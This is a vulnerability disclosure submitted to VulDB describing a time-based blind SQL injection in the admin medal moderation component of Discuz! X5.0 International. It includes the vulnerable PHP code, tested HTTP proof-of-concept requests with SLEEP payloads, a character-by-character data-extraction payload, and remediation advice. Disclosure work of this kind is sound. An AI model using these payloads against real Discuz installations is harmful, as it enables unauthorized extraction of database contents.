| 제목 | Comsenz (Beijing) Networking Co., Ltd. Discuz! X5.0 20260820 SQL Injection |
|---|
| 설명 | # Discuz! X5.0 International — SQL Injection (Time-Based Blind) in Admin Medal Moderation
## Vulnerability type
```text
SQL Injection
```
## CWE
```text
CWE-89 SQL Injection
```
## Vendor of the product(s)
```text
Comsenz / Discuz! Team
```
## Affected product(s)/code base
### Product
```text
Discuz! X5.0 International
```
### Version
```text
2026-08-20 build (Discuz_X5.0_Intl_20260820). Affected version range to be confirmed; the vulnerable pattern likely affects the X5.0 series.
```
## Attack type
```text
Remote
```
## Impact
```text
Escalation of Privileges, Information Disclosure
```
## Affected component(s)
```text
upload/source/app/admin/child/medals/mod.php (admin medal moderation, modmedalsubmit handler),
upload/source/app/admin/admin.php (admin action router)
```
## Core vulnerable code path
In `upload/source/app/admin/child/medals/mod.php`, the `modmedalsubmit` branch collects each element of the `$_GET['delete']` array, wraps it in single quotes, concatenates all elements, and interpolates the result directly into a `WHERE id IN (...)` clause of a `DB::query()` call. No sanitization, parameterization, or `intval()` is applied:
```php
} elseif(submitcheck('modmedalsubmit')) {
if(is_array($_GET['delete']) && !empty($_GET['delete'])) {
$ids = $comma = '';
foreach($_GET['delete'] as $id) {
$ids .= "$comma'$id'";
$comma = ',';
}
$query = DB::query('SELECT me.id, me.uid, me.medalid, me.dateline, me.expiration, mf.medals
FROM '.DB::table('forum_medallog').' me
LEFT JOIN '.DB::table('common_member_field_forum')." mf USING (uid)
WHERE id IN ($ids)");
```
The framework performs no global `addslashes()` on `$_GET`, so the injected single quote reaches the SQL statement unescaped.
## Attack vector(s)
An authenticated administrator who can open the medal moderation page (`admin.php?action=medals&operation=mod`) submits the form (`modmedalsubmit`) with a crafted `delete[]` array parameter. Because each value is wrapped in single quotes and concatenated without escaping, a payload such as `1' AND SLEEP(5)-- -` closes the opening quote and executes a time-based blind SQL injection. The database layer's default query-safety check does not block the `SLEEP()` function, so the timing side channel is usable.
## Suggested description of the vulnerability for use in the CVE
A SQL injection vulnerability was found in the admin control panel medal moderation component of Discuz! X5.0 International. The `delete[]` parameter of the moderation form is concatenated into a SQL `IN (...)` clause without sanitization or parameterization. An authenticated administrator with medal-management privileges can exploit it for time-based blind SQL injection, enabling extraction of arbitrary data from the database. The default SQL safety filter does not prevent the `SLEEP()` function used for the timing side channel.
## Proof of Concept (time-based blind, tested)
Prerequisites: an authenticated administrator session with medal-management permission; a valid `formhash` obtained from the target page.
Step 1 — obtain `formhash`:
```http
GET /admin.php?action=medals&operation=mod HTTP/1.1
Host: TARGET
Cookie: <admin session cookie>
```
Extract the 8-character value from the hidden field in the response HTML, e.g. `<input type="hidden" name="formhash" value="XXXXXXXX">`.
Step 2 — trigger the time-based blind injection (payload is carried in the URL query because the code reads `$_GET['delete']`):
```http
POST /admin.php?action=medals&operation=mod&delete[]=1%27%20AND%20SLEEP(5)--%20- HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: <admin session cookie>
formhash=XXXXXXXX&modmedalsubmit=yes
```
Observation:
| Request | Response time |
|---|---|
| baseline (`delete[]=1`) | < 1 s |
| `delete[]=1' AND SLEEP(5)-- -` | ≈ 5 s |
The ≈5 s delay confirms the injected `SLEEP(5)` is executed. Because the value is wrapped as `'1' AND SLEEP(5)-- -'`, the string literal `'1'` evaluates to true in a boolean context, `AND SLEEP(5)` runs the delay, and `-- -` comments out the trailing quote.
Boolean data-extraction variant (per-character, e.g. first byte of `USER()` ASCII > 100):
```text
delete[]=1%27%20AND%20IF(ORD(MID(USER(),1,1))%3E100,SLEEP(5),0)--%20-
```
## Reference(s)
```text
https://github.com/DiscuzTeam/DiscuzX/releases/tag/X5.0-20260820
https://www.discuz.vip/
```
## Additional information
- Classification is "authorized trigger": exploitation requires an account with backend medal-management permission and a valid `formhash`; it is not reachable by unauthenticated users.
- No known public CVE exists for this issue as of 2026-08-25; the affected build is recent.
- Remediation: cast each `$ids` element with `intval()` before concatenation, or use parameterized/placeholder queries; consider reading the `delete[]` array from `$_POST` and applying a whitelist.
|
|---|
| 사용자 | BlackSpdier (UID 89912) |
|---|
| 제출 | 2026. 08. 25. AM 10:04 (1 월 ago) |
|---|
| 모더레이션 | 2026. 10. 03. PM 07:07 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 413371 [Comsenz Discuz! X5.0-20260801/X5.0-20260820/X5.0-20260910 Admin Medal Moderation mod.php modmedalsubmit delete SQL 주입] |
|---|
| 포인트들 | 17 |
|---|